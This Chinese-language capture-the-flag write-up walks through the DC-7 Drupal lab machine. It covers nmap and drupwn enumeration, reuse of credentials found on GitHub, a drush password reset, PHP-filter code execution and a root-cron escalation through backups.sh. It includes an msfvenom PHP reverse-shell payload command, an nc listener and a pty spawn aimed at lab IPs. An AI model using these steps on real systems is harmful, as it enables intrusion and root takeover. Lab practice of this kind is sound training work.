信息搜集
nmap -sP 192.168.146.0/24 #主机发现
nmap -A 192.168.146.144 #端口扫描
查看robots.txt,看看admin,403,其他没有什么可利用的。
看到熟悉的图标(drupal),强上metasploit走不通。
一般这种cms都会有自己本身的扫描器(像比较出名的wordpress的扫描器wpscan),所以上github搜一搜drupal的扫描。然后找到了一个drupwn。https://github.com/immunIT/drupwn
看一眼帮助然后直接一把梭,等待结果。
python3 drupwn --users --nodes --modules --dfiles --themes --thread 5 enum http://192.168.146.144
Module太慢直接Ctrl-C跳过。浏览一下,好像也没什么有用的,Users不是*。
作者说并不是非常技术性的东西,不是爆破等,要从外部看这个箱子。
外部???难道是社工?(兴奋.jpg
看看这幅图,显然是魔改过的Drupal,且左下方有个署名,那么google一下这个名字?
进github看到部分源代码。https://github.com/Dc7User/staffdb
看到用户名和密码看看能不能ssh链接上去。发现可以连上。。。
getFlag
看到一个shell脚本,这个脚本是以root权限运行的,且是一个定时任务。(这里应该就有大概的思路了)
在看看脚本内容
看看脚本的权限。
该脚本只有root和www-data才可以修改。
几个不知道的命令分别搜搜:drush 和 gpg
gpg:http://linux.51yip.com/search/gpg
drush:https://www.howtoing.com/a-beginner-s-guide-to-drush-the-drupal-shell
尝试使用drush修改密码
第一个执行错误应该是这个目录没有权限,再看看html目录是有权限的可以执行成功。
进入后台了,思路应该是反弹shell成为www-data,为什么呢?
因为backup.sh脚本只能由root或者www-data修改,且是一个root的定时任务。
google一下反弹shell的方法:https://www.sevenlayers.com/index.php/164-drupal-to-reverse-shell
其中有php filter,但是我们的环境没有,不过我们可以安装新的模块,那就直接安装下。https://www.drupal.org/project/php
然后勾选安装的php filter,然后点击最下面的install
然后就可以进入content,选择basic page,选择php code测试下。输入完后点击preview,成功看到phpinfo。
现在来进行php反弹shell的代码。
首先渗透机先nc -lvvp 4444
网上找一些改一下ip和port直接粘贴进去,或者直接msfvenom生成一个
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.146.132 LPORT=4444 -f raw
再使用exploit/multi/handler来监听
老样子,先使用交互式shell。python -c 'import pty; pty.spawn("/bin/bash")'
然后就往backups.sh中写命令把。这里可以直接使用ls+cat读出flag,也可以再来一个反弹shell。
等上一段时间(几分钟)。然后邮件是发给dc7的,那么我们回到dc7用户看看tmp目录下的文件。
总结
本次靶机新花样:社工(虽然很easy。
这里学了下使用drush修改drupal后台密码和drupal后台getshell的方法(安装模块,使用php filter)